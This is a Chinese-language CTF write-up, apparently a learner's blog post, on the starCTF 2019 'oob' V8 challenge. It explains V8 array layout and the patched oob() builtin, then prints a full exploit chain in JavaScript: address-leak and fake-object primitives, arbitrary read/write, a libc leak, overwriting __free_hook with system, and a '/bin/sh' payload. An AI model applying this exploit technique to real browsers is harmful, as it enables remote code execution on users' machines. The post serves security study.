前言 准备开始学习浏览器漏洞的相关知识,其实之前就了解过一些关于浏览器的相关知识,这次也是整理加学习,准备把这些内容好好学习一下。
关键字: CTF
pwn
browser
v8
*CTF
starCTF
oob
V8的搭建 v8的搭建主要的考验就是对于某种大家都懂的因素进行抗争,解决了这个问题后,其余都不是大问题。
安装时主要参考了:https://bbs.pediy.com/thread-258431.htm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrcgit clone https://github.com/ninja-build/ninja.git cd ninja && ./configure.py --bootstrap && cd ..echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrcfetch v8 gclient sync tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug d8
我的本地是ubuntu 18.04 server版,在安装时按照官方流程走,只遇到了一个问题:
1 subprocess.CalledProcessError: Command '[' /usr/bin/python', ' -u', ' tools/mb/mb.py', ' gen', ' -f', ' infra/mb/mb_config.pyl', ' -m', ' developer_default', ' -b', ' x64.debug', ' out.gn/x64.debug']' returned non-zero exit status 1
这个时候sudo apt install pkg-config
就可以解决了。除此之外没有什么需要注意的。
还有一个问题,就是在debug的版本中,貌似会有一些check,我在debug版本下运行oob题目中的d8会出现以下信息:
1 2 3 4 5 6 7 8 # # Fatal error in ../../src/objects/fixed-array-inl.h, line 32 # Check failed: !v8::internal::FLAG_enable_slow_asserts || (IsFixedDoubleArray()). # # # # FailureMessage Object: 0x7ffd40d77f00 ==== C stack trace ===============================
在release版本下就可以运行了。
V8调试 运行d8时使用参数--allow-natives-syntax
1 2 3 %DebugPrint(obj) 输出对象地址 %SystemBreak() 触发调试中断主要结合gdb等调试器使用
基础知识学习 数组 JSArray和FixedArray 我在学习v8的时候,首先接触的概念就是数组,v8的数组是JSArray
类型的,而数组的元素则是存储在一个Elements的指针里面,v8把这个结构叫做FixedArray
。其结构如下:
在内存中查看,也可以得到类似结果:
而FixedArray
也分为不同的种类,这里介绍两种:fast模式和slow模式
其中fast模式就是一般的模式,应对的是一般的数组情况。而slow模式则是应对另一种情况,例如var b[0xffff]=1
,在这种情况下,用fast模式来存储显然需要大量的连续空间,去存储少量的数据,这时候,就用slow模式存储了。看看内存情况:
下图就是fast模式:
而加入一个下标为0xffff的数据后就发生变化了:
数组中元素存放形式 在v8中的数组元素的存放形式如下:
在数组元素都是整数的情况下,我们定义var b=[1,2,3];
,其内存布局如下
其elements的内容如下,这个时候已经能看到elements的地址最低位就是1,需要我们手动减去1。
可以看到整数的存放形式。接下来看下浮点数的存放形式:
这里的数字以IEEE 754浮点数来存放,http://www.binaryconvert.com/result_double.html?decimal=049046050可以在线转换浮点数和我们平时使用的数字,如上图中的1.2:
最后看一下对象如何存储,其中obj是一个对象:
可以看到对象在数组中就是以结尾+1的指针形式存在。
了解了这些之后,尝试做做这个题目吧。
starCTF2019-oob 1 2 git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598 git apply ~/browser_pwn/starctf2019-oob/Chrome/oob.diff
之后,按照正常流程编译。
分析 diif的文件中在Array对象中增加了一个oob函数:
1 2 3 4 5 6 7 8 9 10 11 @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false); + SimpleInstallFunction(isolate_, proto, "oob", + Builtins::kArrayOob,2,false); //增加了一个oob成员函数 SimpleInstallFunction(isolate_, proto, "find", Builtins::kArrayPrototypeFind, 1, false); SimpleInstallFunction(isolate_, proto, "findIndex",
分析oob这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index 8df340e..9b828ab 100644 @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace +BUILTIN(ArrayOob){ + uint32_t len = args.length(); //获取参数个数 + if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast<uint32_t>(array->length()->Number());//获取array的长度 + if(len == 1){ + //read //a.oob()---》读 + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //读取第length个元素,即越界读一个元素 + }else{ + //write //a.oob(1)---》写 + Handle<Object> value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); + elements.set(length,value->Number());//越界写一个元素至第length个元素 + return ReadOnlyRoots(isolate).undefined_value(); + } +} BUILTIN(ArrayPush) { HandleScope scope(isolate);
首先来验证我们对oob函数的功能,写一个test脚本:
1 2 3 4 5 6 7 8 var a=[1 , 2 ];%DebugPrint(a); var num = f2i(a.oob());console .log("leak: " +hex(num)); %SystemBreak(); a.oob(1 ); console .log("oob write" ); %SystemBreak();
我们在上述的test的脚本中测试oob()
和oob(1)
的功能是否是我们分析的情况。
可以看到%DebugPrint(a);
接下来查看其elements中的内容:
可以看到oob()
函数泄露出的内容就是我们分析的那样。而在oob(1)
之后我们查看一下内存情况:
可以看到之前的指已经被覆盖成1的double浮点值了。
思路 在整数的数组中:
可以看到JSArray的起始地址距离elements是比较远的。而浮点数和对象数组这两个地址是很近的:
在这两种情况下,其实elements下面就是JSArray,而一个元素的溢出,使得数组的map值是可以被读和写的,而map值控制了这个数组很多信息,比如读取数组中的元素是按对象来读还是浮点数来读。如果我们可以将其混淆,就可以实现任意的对象的地址的读写。
任意对象地址读 就是用float数组的map去覆盖object数组的map,然后读object数组中的元素,就可以将对象的地址读出来。
1 2 3 4 5 6 7 8 function addressOf (object ) { obj_array[0 ] = object; obj_array.oob(float_map); var object_addr = obj_array[0 ]; obj_array.oob(obj_map); return f2i(object_addr) -1n ; }
任意对象构造 就是用object数组的map去覆盖float数组的map,然后读float数组中的元素,就可以得到对象。
1 2 3 4 5 6 7 8 function fakeObject (fake_addr ) { float_array[0 ] = i2f(fake_addr); float_array.oob(obj_map); var fake_object = float_array[0 ]; float_array.oob(float_map); return fake_object; }
新手心路: 当我学这个东西,到这里我是懵逼的,因为我不知道为什么要构造这两个函数。后面整个学完后才了解原因,在下一小节,我结合实例说一下自己的认识。
构造fake object 1 2 3 4 5 6 7 8 9 10 var evil_array= [float_map, 0.0 , i2f(0x111n ), i2f(0x400000000n ) ]; var leak_addr = addressOf(evil_array);console .log("[+] leak obj addr: " + hex(leak_addr));var fake_obj_addr = leak_addr+0x30n ;var fake_obj = fakeObject(fake_obj_addr+1n );
因为实际上,我们后面需要伪造一个fake object,而fake object中的属性也是以数组的形式存储的,即evil_array,那么我们需要能够操作fake object才能实现任意地址的读写:
fake object如何操作。我们构造的fake object是通过evil_array,而修改evil_array也只能修改我们构造的fake object中间的属性,想要操作fake object的element是不可能的。
而解决这个问题就需要我们第二个函数,任意对象的构造,如果此时evil_array的elements中value的地址传给了这个函数即我们构造的假对象内容,那么函数就会将其作为对象返回给我们,我们就可以操控fake object中的element内容了,这个时候我们只需要操作evil_array[2],即fake element,就可以改变element的地址,从同fake object而实现任意地址读写。
而要达到这个目的,就需要fake object的地址,这就需要了第一个函数:任意对象地址读,先得到evil_array的地址,之后将其和fake object的相对偏移相运算,就得到了fake object的地址。
任意地址读写 接下来的任意地址读写也是非常简单了,修改evil_array[2],到任意地址,然后就修改或查看fake_object[0],即可实现目的:
1 2 3 4 5 6 7 8 9 10 11 12 13 function read64 (addr ) { evil_array[2 ] = i2f(addr-0x10n +1n ); var leak_data = f2i(fake_obj[0 ]); return leak_data; } function write64 (addr,data ) { evil_array[2 ] = i2f(addr-0x10n +1n ); fake_obj[0 ] = i2f(data); return ; }
但是这个题目其实这样的写操作是不行的,因为这个函数在写0x7f的时候貌似会出现问题,于是利用这个函数,操作DataView,进而实现任意地址的读写,这个具体的机制,目前我还在学习(捂脸苦笑)。
1 2 3 4 5 6 7 var data_buf = new ArrayBuffer (8 );var data_view = new DataView (data_buf);function dataview_write (addr,data ) { write64(addressOf(data_buf)+0x20n ,addr); data_view.setFloat64(0 ,i2f(data),true ); }
后面的其实就是找到一个text的地址,之后查got表得到libc地址,最后改__free_hook为system,最后getshell。其实后面有很多东西我也不是很清楚,但是目前我就一知半解的先将其当作公式方法之类的。比如如何寻找text地址和如果触发free。就像刚开始学pwn,咱也不知道为啥改got表,就改就完了,后面慢慢了解。加油(菜鸡的自我安慰)。
后面的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var a = [1.1 , 2.2 ];var a_constructor_addr = addressOf(a.constructor);console .log("[+] leak addr: " + hex(a_constructor_addr));var text_addr = (read64(read64(a_constructor_addr + 0x30n )-1n +0x40n ) >> 16n )- 0xad54e0n ;console .log("[+] text addr: " + hex(text_addr));var sprintf_got = text_addr+0xd9aa28n ;console .log("[+] sprintf got addr: " + hex(sprintf_got));var libc_addr = read64(sprintf_got) - 0x65000n ;console .log("[+] libc addr: " + hex(libc_addr));var system_addr = libc_addr + 0x4f440n ;var free_hook_addr = libc_addr + 0x3ed8e8n ;console .log("[+] system addr: " + hex(system_addr));console .log("[+] free hook addr: " + hex(free_hook_addr));dataview_write(free_hook_addr,system_addr); let get_shell_buffer = new ArrayBuffer (0x1000 );let get_shell_dataview = new DataView (get_shell_buffer);get_shell_dataview.setFloat64(0 , i2f(0x0068732f6e69622fn ), true );
PWN!!! 虽然很菜,但是还是pwn了,开心:
写在最后 如有错误欢迎指正:sofr@foxmail.com